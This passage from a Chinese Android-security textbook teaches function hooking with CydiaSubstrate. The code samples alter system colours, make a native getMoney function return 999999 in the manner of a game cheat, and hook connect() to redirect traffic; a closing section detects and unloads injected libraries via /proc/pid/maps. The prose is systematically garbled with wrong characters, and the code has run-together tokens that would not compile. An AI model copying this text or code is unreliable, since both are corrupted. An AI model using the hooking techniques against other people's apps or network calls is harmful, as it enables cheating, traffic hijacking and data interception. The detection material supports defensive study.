上述的两个函数确实比较有用,可是却不是咱们最想要的结果。在Native层Hook咱们仍是但愿针对原生函数进行Hook操做。其实针对Native层的Hook原理,咱们在本章的开头已经给各位读者介绍了。CydiaSubstrate只是针对其作了一个良好的封装操做,让咱们更方便地使用。下面是CydiaSubstrate框架提供的Hook函数方法。
* 根据具体的地址路径加载动态库 * 相似于dlopen * * @return 动态库ImageRef */ MSImageRef MSGetImageByName(constchar*file); /** * 根据指定库找到其中函数的偏移量 * 相似于dlsym * * @image 指定的动态库 * @name 指定函数的名称 * @return 指定函数的指针(兼容ARM/Thumb)找不到返回NULL */ void*MSFindSymbol(MSImageRef image, constchar*name); /** * Hook Native层中的指定函数 * * @symbol 待Hook函数指针 * @hook Hook后待替换的函数指针 * @old Hook前函数指针 */ voidMSHookFunction(void*symbol, void*hook, void**old);
看到上面的函数说明估计读者们都跃跃欲试了,并且相信不少读者已经可以猜出如何使用CydiaSubstrate框架了。下面咱们仍是详细地说明一下,除了了解其提供的API函数以外,使用CydiaSubstrate框架还须要注意的一些注意事项。
MSConfig(MSFilterExecutable, "/system/bin/app_process")
好了介绍完毕,下面咱们具体地操做一次。
与以前的尝试Hook系统API小节同样,如咱们但愿完成Hook Android系统中的Resources类,并将系统中的颜色都改成紫罗兰色。思路也是同样的,咱们只须要拿到系统中Resources类的getColor方法,将其返回值作修改便可。那么咱们使用原生方法实现,须要完成如下几个步骤。
1.在AndroidManifest.xml中声明权限与安装方式
由于是系统组件代码,咱们须要设置其安装方式是internalOnly与hasCode=“false”,这样可以方便CydiaSubstrate框架获取咱们的逻辑。固然还须要声明SUBSTRATE权限,具体的操做以下AndroidManifest.xml内容所示。
<?xml version="1.0" encoding="utf-8"?> <!-- internalOnly 系统内部安装,禁止安装到sd卡 --> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.hooknative" android:installLocation="internalOnly" android:versionCode="1" android:versionName="1.0" > <!-- 声明Substrate权限 --> <uses-permission android:name="cydia.permission.SUBSTRATE" /> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <!-- hasCode=false,系统组件,不运行APP中的逻辑 --> <application android:hasCode="false" > </application> </manifest>
2.新建立项目的cpp文件,导入所需的库
这里咱们新建立一个原生代码文件HookNative.cy.cpp(后缀必须为.cy.cpp,编译后则会出现.cy.so文件),并将CydiaSubstrate的库文件libsubstrate.so、libsubstrate-dvm.so、substrate.h一块儿复制到jni目录下(这里须要根据不一样平台选择,咱们这里选择的是ARM平台的库),jni目录如图8-20所示。
图8-20 项目中JNI目录截图
固然,咱们还须要编写Makefile文件Android.mk,指定Substrate库参与编译,并引入一些必要的库。内容以下所示。
LOCAL_PATH := $(call my-dir) # substrate-dvm 库 include $(CLEAR_VARS) LOCAL_MODULE:= substrate-dvm LOCAL_SRC_FILES := libsubstrate-dvm.so include $(PREBUILT_SHARED_LIBRARY) # substrate 库 include $(CLEAR_VARS) LOCAL_MODULE:= substrate LOCAL_SRC_FILES := libsubstrate.so include $(PREBUILT_SHARED_LIBRARY) include $(CLEAR_VARS) LOCAL_MODULE := HookNative.cy LOCAL_SRC_FILES := HookNative.cy.cpp LOCAL_LDLIBS+= -L$(SYSROOT)/usr/lib -llog LOCAL_LDLIBS+= -L$(LOCAL_PATH) -lsubstrate-dvm -lsubstrate include $(BUILD_SHARED_LIBRARY)
3.载入配置文件与CydiaSubstrate入口
在HookNative.cy.cpp代码文件中,使用CydiaSubstrate框架的API,还须要在其中声明一些东西,如MSConfig配置app_process的路径,声明MSInitialize做为一个CydiaSubstrate插件的入口。咱们还会应用一些开发中必要的头文件与LOG声明,如这里咱们的HookNative.cy.cpp内容为:
#include<android/log.h> #include<substrate.h> #defineLOG_TAG "native_hook" #defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 载入配置文件 MSConfig(MSFilterExecutable, "/system/bin/app_process") // Cydia初始化入口 MSInitialize { }
4.Hook并替换其方法
其修改方法与上一节的Hook Java中的方法相似,咱们只须要修改相关的函数完成Hook便可。如这里咱们使用MSJavaHookClassLoad方法Hook系统的Resources类,并使用MSJavaHookMethod方法Hook其getColor方法,替换其方法。具体实现以下所示。
#include<android/log.h> #include<substrate.h> #defineLOG_TAG "native_hook" #defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 载入配置文件 MSConfig(MSFilterExecutable, "/system/bin/app_process") // getColor方法Hook前原函数指针 staticjint (*_Resources$getColor)(JNIEnv *jni, jobject _this, ...); // getColor方法Hook后被替换的函数 staticjint $Resources$getColor(JNIEnv *jni, jobject _this, jint rid) { jint color = _Resources$getColor(jni, _this, rid); returncolor & ~0x0000ff00 | 0x00ff0000; } // Hook住Resources class的回调 staticvoidOnResources(JNIEnv *jni, jclass resources, void*data) { // hook其对应的getColor方法 jmethodID method = jni->GetMethodID(resources, "getColor", "(I)I"); if(method != NULL) MSJavaHookMethod(jni, resources, method, &$Resources$getColor, &_Resources$getColor); } // Cydia初始化入口 MSInitialize { // Hook Java中的Resources MSJavaHookClassLoad(NULL, "android/content/res/Resources", &OnResources); }
5.编译、安装、重启验证
一样,由于CydiaSubstrate是Hook Zygote进程,并且咱们Hook的又是系统的Resources方法,因此咱们但愿验证都须要重启一下设备。咱们能够选择CydiaSubstrate中的软重启,这里咱们对系统的设置页面Hook先后都作了一个截图,对比截图如图8-21所示。
图8-21 Hook先后系统设置界面截图对比
本例中咱们继续以前Java中Hook的思想,完成了在原生代码中使用JNI针对Java中的API进行Hook操做。由于,CydiaSubstrate框架中的hookClassLoad方法、hookMethod方法底层实现也是如此,因此咱们使用起来很相似。
讨论了过久的Java层面的API Hook工做,也举了不少例子,本节中咱们就看看如何使用CydiaSubstrate框架完成原生函数的Hook。
例如,如今咱们有一个应用程序(包名为:com.example. testndklib),其主要功能就是按下界面上的“test”按钮后,经过JNI调用Native的test函数,在系统的Log中输入一个当前我有多少钱的整数值。界面如图8-22所示。
图8-22 testndklib应用界面
使用JNI调用的test函数,写在NDK库testNDKlib中,会调用一个名叫getMoney的函数,显示我当前有多少钱。固然,这里咱们直接硬编码了,返回值为100的整数。中间,咱们还将 getMoney 函数的地址经过 Log 打印出来。testNDKlib.cpp内容以下所示。
#include<stdio.h> #include<jni.h> #include<android/log.h> extern"C" { #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, "cydia_native", __VA_ARGS__) /** * 测试函数getMoney,返回一个整数 */ intgetMoney(void) { // 打印方法函数地址 LOGI(" getMoney() function address in : %p\n", &getMoney); return100; } // 一个JNI的test函数 jstring Java_com_example_testndklib_MainActivity_test(JNIEnv* env, jobject thiz) { LOGI(" I have %d money.\n", getMoney()); return0; } }
运行一下程序,单击“test”按钮,拿到了系统输出的 Log,与咱们输出的预期同样。笔者将DDMS上输出的Log截图,如图8-23所示。
图8-23 test函数执行后产生的Log
如今咱们但愿Hook此so文件,找到其中的getMoney函数,替换它让它给咱们返回整数值999999(相似一个游戏修改金币的外挂)。针对以前咱们讨论的Hook的原理,咱们须要作以下几步操做。
(1)加载原生库,libtestNDKlib.so。
(2)找到对应的函数符号地址,MSFindSymbol。
(3)替换函数,MSHookFunction。
这里咱们在完成一、2步骤的时候,咱们同时也用dlopen与dlsym方式实现给你们演示一下。以前的环境配置逻辑以及权限声明逻辑与上一个例子相似,这里咱们不作赘述,直接看一下cpp文件中的内容,具体以下:
#include<android/log.h> #include<substrate.h> #include<stdio.h> #defineLOG_TAG "cydia_native" #defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 初始化CydiaSubstrate MSConfig(MSFilterExecutable, "/system/bin/app_process") // 原函数指针 int(*original_getMoney)(void); /** * 替换后的函数 */ intreplaced_getMoney(void) { LOGI(" replaced_getMoney() function address in : %p\n", &replaced_getMoney); return999999; } /** * * 找到指定连接库中的函数地址 * * @libraryname 连接库地址 * @symbolname 函数名 * @return 对应的函数地址 */ void* lookup_symbol(char* libraryname, char* symbolname) { // dlopen打开指定库,得到句柄 void*imagehandle = dlopen(libraryname, RTLD_GLOBAL | RTLD_NOW); if(imagehandle != NULL) { // 得到具体函数 void* sym = dlsym(imagehandle, symbolname); if(sym != NULL) { returnsym; } else{ LOGI("(lookup_symbol) dlsym didn't work"); returnNULL; } } else{ LOGI("(lookup_symbol) dlerror: %s", dlerror()); returnNULL; } } //初始化 MSInitialize { // 得到libtestNDKlib.so动态库中getMoney函数的地址 MSImageRef image; image = MSGetImageByName( "/data/data/com.example.testndklib/lib/libtestNDKlib.so"); void* getAgeSym = MSFindSymbol(image, "getMoney"); // MSImageRef与 MSFindSymbol 也能够写为以下所示找到getMoney函数的地址 // // void * getAgeSym = lookup_symbol( // "/data/data/com.example.testndklib/lib/libtestNDKlib.so", // "getMoney"); // 将getMoney函数替换为 replaced_getMoney函数 MSHookFunction(getAgeSym, (void*) &replaced_getMoney, (void**) &original_getMoney); }
编译后安装到已经安装了CydiaSubstrate框架的系统中,重启Android设备。若是在整个系统编译与配置没有什么错误的状况下,咱们发现CydiaSubstrate框架会打出Log说Loding什么什么 so 文件了。这里咱们看见,LodinglibnativeHook.cy.so 说明咱们以前开发的 Hook 其中的getMoney方法已经生效了,如图8-24所示。
图8-24 CydiaSubstrate框架加载日志
这个时候咱们继续运行程序,进入咱们刚才的test应用程序。单击“test”按钮,获取调用JNI中的test函数打印我有多少钱。咱们可以在DDMS中清楚地看到,getMoney函数已经被一个名为“replace_getMoney”的函数替换了,其地址也已经被替换了。咱们也看到使用替换后的值输出为“I have 999999 money”,如图8-25所示。
图8-25 函数替换后打印的Log
对于Android操做系统咱们知道,Java层都是创建在原生C/C++语言上的,特别是针对一些系统级别的API函数。上面咱们演示了如何对用户自定义函数进行Hook,下面咱们演示一下如何对Native层的系统API进行Hook。
如这里咱们但愿对系统中的网络请求API进行Hook,而后过滤掉一些广告相关的请求,完成广告拦截功能,其具体的流程如图8-26所示。
这里咱们查看Android操做系统的POSIX定义的源码Poxis.Java文件,发现其针对网络请求函数的定义是在native完成的,如图8-27所示。
图8-26 广告拦截流程图
图8-27 Posix.Java文件部份内容截图
对于此类的问题,咱们就不得不在native完成Hook与函数替换工做了。因此咱们仍是使用CydiaSubstrate框架,对系统的API函数connect进行Hook与替换。以下代码所示,咱们使用MSHookFunction对native层中的connect函数进行Hook替换至newConnect函数。
#defineLOG_TAG "cydia_native" #defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 初始化CydiaSubstrate MSConfig(MSFilterExecutable, "/system/bin/app_process") // 原connect函数指针 int*(*oldConnect)(int, constsockaddr *, socklen_t); int*newConnect(intsocket, constsockaddr *address, socklen_t length) { charip[128] = { 0 }; intport = -1; if(address->sa_family == AF_INET) { sockaddr_in *address_in = (sockaddr_in*) address; // 获取 ip inet_ntop(AF_INET, (void*) (structsockaddr*) &address_in->sin_addr, ip, 128); // 获取端口 port = ntohs(address_in->sin_port); // 过滤掉172.22.156.129的请求 if(strcmp(ip, "172.22.156.129") == 0) { LOGI("发现广告请求"); structsockaddr_in my_addr; intmy_len = sizeof(structsockaddr_in); bzero(&my_addr, sizeof(my_addr)); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(80); my_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); returnoldConnect(socket, (constsockaddr*) &my_addr, sizeof(my_addr)); } returnoldConnect(socket, address, length); } } //初始化 MSInitialize{ MSHookFunction((void*) &connect, (void*) &newConnect, (void**) &oldConnect); }
这里咱们只是简单地将IP为172.22.156.129的请求重定向到本地127.0.0.1,即让相似的广告请求拿不到数据。此类方式的广告过滤属于比较原始暴力类型的过滤方法,但却也简单有效。熟悉connect的读者应该会发现,若是已经可以替换掉connect函数,其实咱们能作到的事情远远比拦截一个广告请求大得多,好比跳转至钓鱼网站,收集私密发送数据等。
Hook的目的是为了对目标进程函数的替换和注入,Hook的危害是巨大的,Hook后的应用程序毫无安全可言。其实,自从PC时代起,Hook与反Hook一直就是一个旷日持久的战争。那么对于刚发展不久的Android操做系统安全方向而言,Hook的检测与修复无疑是给Android安全研究人员带来了巨大的挑战。本节咱们就具体地看看,就Android操做系统而言,如何检测一个进程是否被Hook了,如何修复被Hook的进程消除其安全隐患。
上面演示了不少的Hook例子,Hook后的应用程序注入与劫持危害是不可估量的。因此,如何识别应用程序被Hook了,如何去除Hook程序也成为了难题。咱们先从Hook的原理上来分析,Hook就是在一个目标进程中经过改变函数方法的指向地址,加入一段自定义的代码块。那么,加入一些非本进程的代码逻辑,进程会不会产生一些改变?带着疑问咱们直接使用本章以前在浏览器中注入广告的例子查看一下。
1.Java层Hook检测
首先咱们使用ps命令查看一下浏览器应用(包名为:com.android.browser)的进程pid,在adb shell模式下输入ps | busybox grep com.android.browser(busybox是一个扩展的命令工具),如图8-28所示。
图8-28 查看浏览器的进程pid
咱们这里看见浏览器应用对应的进程pid为5425。
熟悉Android操做系统的朋友应该清楚,Android操做系统继承了Linux操做系统的优势,有一个虚拟文件系统也就是咱们常访问的/proc目录,经过它可使用一种新的方法在Android内核空间和用户空间之间进行通讯,即咱们可以看到当前进程的一些状态信息。而其中的maps文件又能查看进程的虚拟地址空间是如何使用的。
如今思路已经很清晰了,咱们使用命令:
cat /proc/5425/maps | busybox grep /data/dalvik-cache/data@app
查看地址空间中的对应的dex文件有哪些是非系统应用提供的(浏览器是系统应用),即过滤出/data@app(系统应用是/system@app)中的,如图8-29所示。
图8-29 查看5425进程的虚拟地址空间
对应地输出了Dalvik虚拟机载入的非系统应用的dex文件,如图8-30所示。
图8-30 5425进程被加载的用户空间中的dex文件
在图 8-30 中咱们清楚地看到,该进程确实被附加了不少非系统的 dex 文件,如 hookad-1. apk@classes.dex、loginhook-2.apk@classes.dex、substrate-1.apk@classes.dex等。若是没有上面的Hook演示,这里咱们很难肯定这些被附加的代码逻辑是作什么的,固然确定也不是作什么好事。因此,咱们得出结论,此应用已经被Hook,存在安全隐患。
2.native层Hook检测
上面演示了如何检测Java层应用是否被Hook了,对于native层的Hook检测其实原理也是同样的。这里咱们对以前的演示的Hook后替换指定应用中的原函数例子作检测(包名为:com.example.testndklib),咱们使用ps | busybox grep com.example.testndklib,如图8-31所示。
图8-31 查看com.example.testndklib包进程的详细信息
获得其对应的进程pid为15097,咱们直接查看15097进程中的虚拟地址空间加载了哪些第三方的库文件,即过滤处/data/data目录中的,具体命令如图8-32所示。
图8-32 查看15097进程的虚拟地址空间
获得的输出结果如图8-33所示,发现其中多了不少的/com.saurik.substrate下面的动态库,说明该进程也已经被其注入了。因此咱们判断com.example.testndklib应用程序已经被Hook,存在不安全的隐患。
图8-33 testndklib包下载入的第三方so库文件
一样的方式,咱们可以查看到Zygote进程的运行状况,发现也是被注入了CydiaSubstrate框架的不少so库文件,如图8-34所示。
做为应用程序对自身的检测,也只须要读取对应的进程的虚拟地址空间目录/proc/pid/maps文件,判断当前进程空间中载入的代码库文件是否存在于本身白名单中的,便可判断自身程序是否被Hook。可是,对于zygote进程来讲若是没有Root权限,咱们是没法访问其maps文件的,那么也就没法判断Hook与否了。
图8-34 zygote进程的虚拟地址空间显示载入的so库文件
如何判断一个进程是否被其余第三方函数库Hook,咱们已经知道了。为了让咱们的应用程序可以在一个安全可靠的环境中运行,那么咱们就必须将这些不速之客从应用程序的进程中剥离出去。
如上面咱们演示的testndklib应用程序,咱们在adb shell命令模式下查看其进程pid为30210,并根据进程pid查看其对应的进程虚拟地址空间。具体命令如图8-35所示。
图8-35 使用ps | busybox grep查看testndklib的pid
从系统返回的具体结果中咱们发现,已经被不少的第三方 Hook 库所加载,这里都是以/com.saurik.substrate开头的substrate框架的动态库,如图8-36所示。
图8-36 testndklib中的虚拟地址空间加载的so库
固然,咱们但愿除了自身包名(com.example.testndklib)下的其余动态连接全都给删除关闭,且关闭后的应用程序还可以正常地运行。由于全部的第三方库都是经过dlopen后注入的方式附加到应用程序进程中的,这里咱们很容易想到咱们直接使用 dlclose 将其中的第三方函数挨个卸载关闭便可。
这样一个程序思路就来了,首先扫描/proc/<pid>/maps目录下的全部so库文件,并将自身的动态库文件排除,对于非自身的动态连接库咱们全都卸载关闭。对于Java咱们没法使用dlclose,因此这里咱们仍是采用了JNI的方式来完成,具体的操做函数以下所示。
/** * 根据包名与进程pid,删除非包名下的动态库 * @parampid 进程pid * @parampkg 包名 * @return */ publicList<String>removeHooks(intpid, String pkg) { List<String> hookLibFile = newArrayList<>(); // 找到对应进程的虚拟地址空间文件 File file = newFile("/proc/" + pid + "/maps"); if(!file.exists()) { returnhookLibFile; } try{ BufferedReader bufferedReader = newBufferedReader(newInputStreamReader (newFileInputStream(file))); String lineString = null; while((lineString = bufferedReader.readLine()) != null) { String tempString = lineString.trim(); // 被hook注入的so动态库 if(tempString.contains("/data/data") && !tempString.contains("/data/data/" + pkg)) { intindex = tempString.indexOf("/data/data"); String soPath = tempString.substring(index); hookLibFile.add(soPath); // 调用native方法删除so动态库 removeHookSo(soPath); } } bufferedReader.close(); } catch(FileNotFoundException e) { e.printStackTrace(); } catch(IOException e) { e.printStackTrace(); } returnhookLibFile; } /** * 卸载加载的so库 * @paramsoPath so库地址路径 */ publicnativevoidremoveHookSo(String soPath); // JNI中的removeHookSo卸载一个so的加载 voidJava_com_example_testndklib_MainActivity_removeHookSo(JNIEnv* env, jobject thiz, jstring path) { constchar* chars = env->GetStringUTFChars(path, 0); void* handle = dlopen(chars, RTLD_NOW); intcount = 4; inti = 0; for(i = 0; i < count; i++) { if(NULL != handle) { dlclose(handle); } } }
在须要卸载的应用程序中调用removeHooks(Process.myPid(), getPackageName())就可以轻松地完成上述的功能。那么是否全部的动态库都被卸载移除了?咱们从新查看该应用程序的虚拟地址空间,获得结果如图8-37所示。
图8-37 dlclose后的testndklib虚拟地址空间中的so库
比较后你们都会发现,虽然卸载掉了大部分的so动态连接库,可是仍是残余了少量没有被卸载干净,如咱们这里剩余的libAndroidBootstrap0.so库仍是依然在加载中。对于dlclose函数读者们应该都清楚,dlclose用于关闭指定句柄的动态连接库 ,只有当此动态连接库的使用计数为0时,才会真正被系统卸载。也就是说若是咱们手动卸载动态连接库以前,系统已经保持对其的应用的话,咱们是没法卸载的。
Hook框架的动态库何时加载如何加载咱们都不可以得知,因此对非本包的动态连接库卸载也须要实时监测去卸载。且就算卸载也不可以彻底地保证系统就没有对相关函数的引用,达到卸载干净的目的。因此,咱们得出结论,对于Hook后的应用程序修复在目前来讲是一项暂无解决方案的工做。
说到如何识别一个应用程序是否被Hook、修复Hook,咱们会发现由于Android操做系统上沙箱(Sandbox)机制的存在,无论咱们采用何种方案手段都没有办法彻底避免程序被Hook。这个时候咱们就须要将咱们的目光转到如何防止应用程序被Hook,预防于未然才是主要的解决方案。